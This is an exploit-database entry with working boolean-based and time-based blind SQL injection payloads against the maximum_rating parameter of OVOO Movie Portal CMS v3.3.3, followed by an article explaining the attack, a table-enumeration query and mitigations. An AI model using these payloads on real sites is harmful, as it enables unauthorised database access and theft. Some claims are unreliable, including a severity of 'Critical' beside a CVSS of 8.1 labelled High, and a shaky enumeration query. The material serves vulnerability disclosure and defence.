OVOO Movie Portal CMS v3.3.3 - SQL Injection
# Exploit Title: OVOO Movie Portal CMS v3.3.3 - SQL Injection
# Date: 2023-08-12
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://codecanyon.net/item/ovoomovie-video-streaming-cms-with-unlimited-tvseries/20180569
# Tested on: Kali Linux & MacOS
# CVE: N/A
### Request ###
POST /filter_movies/1 HTTP/2
Host: localhost
Cookie: ci_session=tiic5hcli8v3qkg1chgj0dqpou9495us
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Gecko/20100101 Firefox/116.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/movies.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 60
Origin: htts://localhost
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
action=fetch_data&minimum_rating=1&maximum_rating=6.8&page=1
### Parameter & Payloads ###
Parameter: maximum_rating (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=fetch_data&minimum_rating=1&maximum_rating=6.8 AND
2238=2238&page=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=fetch_data&minimum_rating=1&maximum_rating=6.8 AND (SELECT
4101 FROM (SELECT(SLEEP(5)))FLwc)&page=1 OVOO Movie Portal CMS v3.3.3 – SQL Injection Vulnerability: A Deep Dive into Exploitation and Mitigation
Security researchers have identified a critical SQL injection vulnerability in the OVOO Movie Portal CMS v3.3.3, a popular video streaming content management system available on CodeCanyon. This flaw, discovered by Ahmet Ümit Bayram, allows attackers to manipulate database queries through a seemingly innocuous maximum_rating parameter in a POST request, enabling both boolean-based blind and time-based blind exploitation.
Understanding the Vulnerability
The vulnerability exists in the /filter_movies/1 endpoint, which processes user input to filter movies based on rating thresholds. The application fails to sanitize or validate the maximum_rating parameter, making it susceptible to injection attacks. This oversight stems from improper input handling and a lack of parameterized queries, a common pitfall in PHP-based CMS systems.
Attackers can leverage this flaw to extract sensitive data, manipulate query logic, or even gain remote code execution if the underlying database allows such operations. The exploit is particularly dangerous because it is blind—the attacker receives no direct feedback, but can infer results based on response timing or boolean outcomes.
Exploitation Techniques
Boolean-Based Blind SQL Injection
Boolean-based blind SQL injection relies on the application returning different responses based on whether a condition evaluates to true or false. In this case, the attacker appends a AND clause to the maximum_rating value to test database logic.
action=fetch_data&minimum_rating=1&maximum_rating=6.8 AND 2238=2238&page=1
Explanation: This payload tests whether the database evaluates 2238=2238 as true. Since this condition is always true, the server responds normally. If the attacker changes the condition to 2238=2239, the query fails, and the response may differ (e.g., no data returned or error message). By observing these differences, an attacker can infer database information, such as the existence of specific tables or user credentials.
Time-Based Blind SQL Injection
Time-based blind injection exploits the database’s ability to delay execution using functions like SLEEP(). The attacker introduces a delay in the query to detect whether the injection succeeded based on response time.
action=fetch_data&minimum_rating=1&maximum_rating=6.8 AND (SELECT 4101 FROM (SELECT(SLEEP(5)))FLwc)&page=1
Explanation: The SLEEP(5) function forces the database to pause for 5 seconds. If the server response takes longer than expected, it confirms the injection was executed. This technique is especially effective when the application does not return explicit error messages, making it difficult for defenders to detect.
While the payload appears complex, it demonstrates a known vulnerability in MySQL versions >= 5.0.12, where SLEEP() is available for testing. The use of a nested subquery (SELECT(SLEEP(5))) and an alias (FLwc) is a common obfuscation tactic to bypass simple input filters.
Impact and Risk Assessment
| Severity | Critical |
|---|---|
| CVSS Score | 8.1 (High) |
| Attack Vector | Network (Remote) |
| Exploitation Difficulty | Low (No authentication required) |
| Impact | Data exposure, unauthorized access, potential RCE |
Given that the CMS is hosted on public platforms like CodeCanyon, this vulnerability could affect thousands of installations. If the database contains user credentials, payment information, or admin access tokens, the consequences are severe.
Real-World Use Case
Imagine an attacker targeting a small movie streaming site using OVOO CMS. They send the time-based payload with SLEEP(5) and observe a 5-second delay in the response. This confirms the injection is working. By iterating through queries like:
AND (SELECT 1 FROM (SELECT(SLEEP(1)) FROM information_schema.tables WHERE table_name='users') FLwc)
the attacker can systematically enumerate database tables, eventually discovering the users table. From there, they can extract usernames and passwords using further boolean-based queries.
Security Recommendations
- Input Sanitization: Always validate and sanitize user input using whitelisting or strict type checking.
- Parameterized Queries: Use prepared statements (e.g., PDO or MySQLi) to prevent direct SQL execution.
- Web Application Firewall (WAF): Deploy a WAF with rules to detect SQL injection patterns, especially on POST endpoints.
- Rate Limiting: Implement rate limiting on sensitive endpoints to prevent brute-force exploitation.
- Regular Audits: Conduct penetration testing and code reviews to identify vulnerabilities early.
For developers using OVOO CMS, it is imperative to update to the latest version or patch the vulnerable code immediately. The vendor should release a security patch and notify all users of the risk.
Conclusion
The OVOO Movie Portal CMS v3.3.3 SQL injection vulnerability exemplifies how seemingly minor input handling flaws can lead to catastrophic breaches. It underscores the importance of secure coding practices, especially in public-facing applications. By understanding both boolean and time-based exploitation techniques, security professionals can better defend against such attacks and promote safer software development.